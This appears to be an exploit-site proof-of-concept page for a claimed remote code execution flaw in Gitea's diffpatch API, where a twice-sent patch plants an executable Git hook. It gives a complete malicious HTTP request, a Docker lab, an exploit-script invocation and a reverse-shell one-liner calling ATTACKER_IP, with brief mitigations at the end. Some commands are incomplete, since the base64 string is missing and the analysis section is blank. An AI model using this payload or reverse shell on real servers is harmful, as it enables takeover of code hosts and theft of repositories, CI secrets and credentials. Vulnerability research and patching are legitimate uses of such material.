## https://sploitus.com/exploit?id=BB96140C-69F0-5F32-933C-46EC923F907C
# CVE-2026-60004 Gitea diffpatch RCE
โ CVE-2026-60004 Gitea `diffpatch` Git Hook RCE PoC โ
# Overview
> **CVE-2026-60004** is a **Remote Code Execution (RCE)** vulnerability in **Gitea**.
> The `diffpatch` API applies a supplied patch with `git apply --cached`, which should only touch the index and never write files to disk.
> By sending the **same patch twice**, an attacker forces an add/add collision that triggers Git's **three-way merge fallback (`-3`)**. That path ignores `--cached` and checks the file out to the working tree.
> Because the temporary clone is **bare**, its working tree root is `$GIT_DIR`. A patch that creates an executable `hooks/post-index-change` therefore lands a live Git hook, which Git runs automatically on the next index update โ executing commands as the Gitea service account.
> The endpoint needs repository write access, but registration is enabled by default, so any user who can sign up and create a repository can reach it.
# Affected Versions
| Category | Version |
|---|---|
| **Vulnerable** | Gitea **1.17 โค version โค 1.27.0** |
| **Patched** | Gitea **1.27.1 or later** |
# Impact
- Remote Code Execution as the Gitea service account (`git`)
- Access to all hosted repositories, CI secrets, and database credentials
- No outbound callback required (output can be returned through Git objects)
# Environment
Build and run the vulnerable Gitea environment. Registration is left open and the
server ships Git 2.32+, which enables the `-3` fallback the attack relies on.
```bash
docker build -t cve-2026-60004 .
docker run -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004
```
| Precondition | State in this lab |
|---|---|
| Gitea 1.17 โ 1.27.0 | 1.27.0 |
| Git 2.32+ on the server (enables `-3`) | 2.54 |
| Open registration | enabled (default) |
| Repository write access | via self-registered account |
# PoC
## Step 1. Create an account and repository
Register a normal account through the web UI (`/user/sign_up`), then create a
repository with **Initialize Repository** checked so the `main` branch exists.
## Step 2. Deliver the malicious patch
The attack submits the **same patch two or three times** to
`POST /api/v1/repos/{owner}/{repo}/diffpatch`. The patch creates an executable
`hooks/post-index-change`; the repeated send forces the `-3` fallback to write
it to `$GIT_DIR/hooks/`, where it becomes a live hook.
Two equivalent ways to deliver the patch.
### Option A โ Burp Repeater (manual)
Send any request from the web UI, then in Burp Repeater replace it with the
request below. Fill `Authorization` with `base64(user:password)` and press
**Send twice** (the repeated send is what triggers the `-3` fallback).
```http
POST /api/v1/repos/USER/REPO/diffpatch HTTP/1.1
Host: TARGET_IP:3000
Authorization: Basic BASE64_USER_PASS
Content-Type: application/json
{"content": "diff --git a/hooks/post-index-change b/hooks/post-index-change\nnew file mode 100755\nindex 0000000000000000000000000000000000000000..fbb1ab230ec0efcad0c15aadae19b160982c41c1\n--- /dev/null\n+++ b/hooks/post-index-change\n@@ -0,0 +1,2 @@\n+#!/bin/sh\n+id > /tmp/PWNED 2>&1\n", "message": "apply", "branch": "main"}
```
The hook body here just runs `id` as a proof of execution. To run a different
command, put it inside the hook instead of `id > /tmp/PWNED 2>&1`.
For a command that contains quotes or shell metacharacters (a reverse shell, for
example), base64-encode it so nothing breaks when it is embedded in the diff:
```bash
echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' | base64
```
Then use the encoded string as the hook command:
```
echo | base64 -d | bash
```
The `index` blob hash in the diff is bound to the hook content, so after
changing the command you must recompute it โ `gitea_exploit.py` does this
automatically (Option B).
### Option B โ script
`gitea_exploit.py` builds the patch (recomputing the blob hash for whatever
command you pass) and submits it repeatedly.
```bash
python3 gitea_exploit.py \
--url http://TARGET_IP:3000 \
--user USER --pw PASSWORD --repo REPO \
--cmd "echo | base64 -d | bash"
```
## Step 3. Confirm the result
The hook runs as the `git` service account.
```bash
docker exec cve-2026-60004 cat /tmp/PWNED
# uid=1000(git) gid=1000(git) groups=1000(git)
```
# Mitigation
- Upgrade Gitea to 1.27.1 or later
- Disable open registration if not required (`DISABLE_REGISTRATION=true`)
- Restrict who can reach the instance and create repositories
# Analysis
- KR:
- EN: